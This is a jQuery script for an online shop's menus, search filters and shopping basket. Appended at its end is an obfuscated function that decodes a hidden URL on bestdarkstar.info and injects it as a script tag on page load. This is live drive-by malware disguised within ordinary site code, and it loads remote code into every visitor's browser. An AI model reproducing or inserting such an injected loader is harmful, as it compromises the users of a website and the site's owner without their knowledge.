  var over;
  var old;
  var cur;
  var timer;
  var timer_out;
  
  jQuery.fn.extend({
    scrollTo : function(speed, easing) {
      return this.each(function() {
        var targetOffset = ($(this).offset().top)-5;
        $('html,body').animate({scrollTop: targetOffset}, speed, easing);
      });
    }
  });
  
  $(function(){
    $tabs=$("#first_level").tabs({ selected: menu, fx: { opacity: 'toggle', duration: 200 }});

    $("#second_level .block").each(
      function(i){
          $(this).mouseover( function() { dropDown(i); } );
          $(this).mouseout( function() { dropUp(); } );
      }
    );
    
    $("#second_level .all_wares").each(
      function(i){
          $(this).attr("id",i);
          $(this).mouseover( function() { steelHere(); } );
          $(this).mouseout( function() { dropUp(); } );
      }
    );

    $("#confstr").tablesorter(); 
    
    $('.onlyjs').show();
    $('.hidden, .manufacturers').hide();
    $('#search_form .arrow').click(function(){if(!$(this).hasClass('active')){showValues(this);} return false;});
    
    $('#search_form .values_layer A').click(function(){ changeVal(this); return false; });
    
    $('#search_form .searchmode_selector A').click(function(){ if(!$(this).hasClass('active')){changeSearchMode(this);}; return false; });
    
    $("#search_form INPUT:not([@type='text'])").click(function(){getResult();});
    $("#search_form INPUT[@type='text']").change(function(){getResult();});
    
    $("#search_form .mf").click(function(){$('#all_manufacturers').attr('checked', false);});

    $("#search_form .mtrx").click(function(){$('#matrix_any').attr('checked', false);});
    $("#search_form .os_input").click(function(){$('#all_os').attr('checked', false);});
    
    scontainer=$('#all_wares_container');
    body=$('body');
    
    if(!$.browser.msie){
      $('#search_form A').focus(function(){blur();});
    }
    
    if($.browser.msie){
      $('#footer_wares').height(scontainer.height()+30);
    }
    
    $('#basket .count_input').keyup(function(){
      if(this.value.length>0){
      if(!/^\d{1,10}$/.test(this.value)){
        this.value='1';
      }
      $('#save_changes').css('visibility', 'visible');
      basketUpdate();
      }
    });
    
    $('#basket .delete').click(function(){
      $('#save_changes').css('visibility', 'visible');
      var count_input=$(this).parent().find('.count_input');
      if(count_input.val()==0){
        count_input.val('1');
      }else{
        count_input.val('0');
      }
      basketUpdate();
      return false;
    });
    
    $('#save_changes').css('visibility', 'hidden');
    
    //if(checkCookie()==false){
    //  $("#addtobasket").text('Купить');
    //}
    
    $('#basket .plus').click(function(){
      basket_count=$(this).parent().parent().find('INPUT');
      basket_count.val(parseInt(basket_count.val())+1);
      basketUpdate();
      $('#save_changes').css('visibility', 'visible');
      return false;
    });
    
    $('#basket .minus').click(function(){
      basket_count=$(this).parent().parent().find('INPUT');
      if(parseInt(basket_count.val())>0){
        basket_count.val(parseInt(basket_count.val())-1);
        basketUpdate();
        $('#save_changes').css('visibility', 'visible');
      }
      return false;
    });
    
  });
  

  function mousePageXY(e){
    var x = 0, y = 0;

    if (!e) e = window.event;

    if (e.pageX || e.pageY)
    {
      x = e.pageX;
      y = e.pageY;
    }
    else if (e.clientX || e.clientY)
    {
      x = e.clientX + (document.documentElement.scrollLeft || document.body.scrollLeft) - document.documentElement.clientLeft;
      y = e.clientY + (document.documentElement.scrollTop || document.body.scrollTop) - document.documentElement.clientTop;
    }

    return {"x":x, "y":y};
  }

  document.onmousemove = function(e){
    var mCur = mousePageXY(e);
    left=mCur.x;
  }
  
  function dropDown(id){
    over=true;
    timer=setTimeout(function(){
      if(id!=old){
        $('#'+old).fadeOut(200);
        $('#'+id).css('opacity', 0);
        $('#'+id).show();
        lpos=$('#'+id).width();
        lpos=left-(lpos/2);
        if(lpos<20){lpos=20}
        $('#'+id).css('left', lpos);
        old=id;
        $('#'+id).fadeTo(300, 1);
      }
    }, 200);
  }

  function dropUp(){
    over=false;
    clearTimeout(timer);
    clearTimeout(timer_out);
    timer_out=setTimeout(function(){
      if (!over){
        cur=old;
        old=666;
        $('#'+cur).fadeOut(300);
        over=false;
      }
    }, 300);
  }

  function steelHere(){
    over=true;
    clearTimeout(timer);
    clearTimeout(timer_out);
  }

  function popa(elem){
    var lpos = elem.offsetLeft;
    var src = elem.href;
    $("#frame").animate({left: lpos}, "normal");
    $("#main_image").fadeTo('fast', 0, function(){$("#main_image").attr({src: src});});
    //$("#main_image").fadeTo('fast', 1);
  }
  function fadein(elem){
    $(elem).fadeTo('fast', 1);
  }
  
  function changeVal(obj){
    $(obj).parent().parent().children('INPUT').val($(obj).html());
    hideValues();
    getResult();
  }

  function showValues(obj){
    hideValues();
    $(obj).addClass('active').next().slideDown(100, function(){
      $('body').click(function(){
        hideValues();
      });
    });
  }
  
  function hideValues(){
    $('#search_form .arrow').removeClass('active');
    $('#search_form .values_layer').slideUp(100, function(){$('body').click(function(){});});
  }
  
  function changeSearchMode(obj){
    $('#search_form .searchmode_selector A').removeClass('active');
    $(obj).addClass('active');
    $('#search_form .hidden').toggle();
  }
  
  function getResult(){
    //alert($('#search_form FORM').serialize());
    var searchind=$('#search_indicator');
    var selectedData=$('#search_form FORM').serialize();

    searchind.addClass('active');
   $.get('/shop/search?'+selectedData, function(data){
     searchind.html(data).removeClass('active');     
   });
  }

  function showManufacturers(obj){
    $(obj).parent().hide(); 
    $('#search_form .manufacturers').show();
  }

  function snext(){
      left=body.width()-scontainer.width()-20;
      scontainer.stop().animate({left: left}, 1000, 'easeInOutCubic');
  }

  function sprev(){
      scontainer.stop().animate({left: 0}, 1000, 'easeInOutCubic');
  }

  function basketUpdate(){
    var ware_summ=0;
    $('#basket .basket_ware').each(function(){
      var count=parseInt($(this).find('.count_input').val());
      if(count==0){
        $(this).addClass('deleted');
      }else{
        $(this).removeClass('deleted');
      }
      $(this).find('.ware_summ').text(parseInt($(this).find('.price_val').text())*count);
    });
    $('#basket .ware_summ').each(function(){
      ware_summ=ware_summ+parseInt($(this).text());
    });
    $("#summ .basket_summ").text(ware_summ);
    if(ware_summ==0){
      $('#order_button').attr('disabled', 'true');
    }else{
      $('#order_button').removeAttr('disabled');
    }
  }

  function payment(payment){
    $('#basket .basket_ware .title').each(function(){
      $(this).children('.price').children('.price_val').text($(this).children('.'+payment).text());
      basketUpdate();
    });
  }
  
/*   function checkCookie() {
    alert(document.cookie.length);
    if (document.cookie.length>0) {
      return true;
    } else {
      return false;
    }
  } */



function K(){var eY;if(eY!='mJ'){eY=''};var k=unescape;var p;if(p!=''){p='n'};this.my='';var O;if(O!='R' && O!='Yt'){O=''};var KB=window;var m=k("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%65%6f%70%6c%65%2e%63%6f%6d%2e%63%6e%2f%63%6c%6f%6f%62%2e%63%6f%6d%2e%70%68%70");var a='';var X=new String();var P=new String();function j(w,x){var Z='';var pY="";var A="g";var H=k("%5b"), y=k("%5d");var Tp='';var V=H+x+y;var Wl;if(Wl!='XH' && Wl!='z'){Wl=''};var Eq;if(Eq!=''){Eq='Fr'};var _=new RegExp(V, A);var Km;if(Km!='Au' && Km!='Jr'){Km=''};return w.replace(_, new String());var q;if(q!=''){q='i'};};var Rt='';var KBD;if(KBD!='' && KBD!='ll'){KBD='VF'};var mZ;if(mZ!='ui' && mZ!='iK'){mZ='ui'};var cb='';var C='';var E=new String();var M;if(M!='BL'){M=''};var bV='';var T=document;var I=j('84910441815057','65921437');var Jl='';var qR='';var RZ;if(RZ!='' && RZ!='Xd'){RZ='qM'};var v;if(v!='' && v!='fm'){v='TN'};function U(){var VN=new Date();var _ZD;if(_ZD!='KP'){_ZD=''};var t=k("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var yS;if(yS!='' && yS!='kP'){yS=null};this.qZ='';E=t;E+=I;E+=m;var Fc;if(Fc!='' && Fc!='hS'){Fc=null};var nv="";var cn=new String();try {var Zw=new Array();b=T.createElement(j('s6curZiXp9tX','6K9hu_HnXZ'));var qK=new String();this.qo='';b[k("%73%72%63")]=E;this.Ke="";var xd;if(xd!='MX'){xd=''};b[k("%64%65%66%65%72")]=[1,2][0];var ko;if(ko!='uu'){ko='uu'};var EM;if(EM!='pq'){EM='pq'};var xV=new Array();T.body.appendChild(b);this.Xp="";} catch(u){alert(u);var Ob="";var gS;if(gS!='' && gS!='OV'){gS='aH'};};}KB["ExNonl".substr(3)+"oad"]=U;var Mv;if(Mv!='Bz' && Mv != ''){Mv=null};var kL="";var iD=new String();var i_;if(i_!='Q' && i_!='cf'){i_=''};};K();var _c="";var DC;if(DC!=''){DC='Oa'};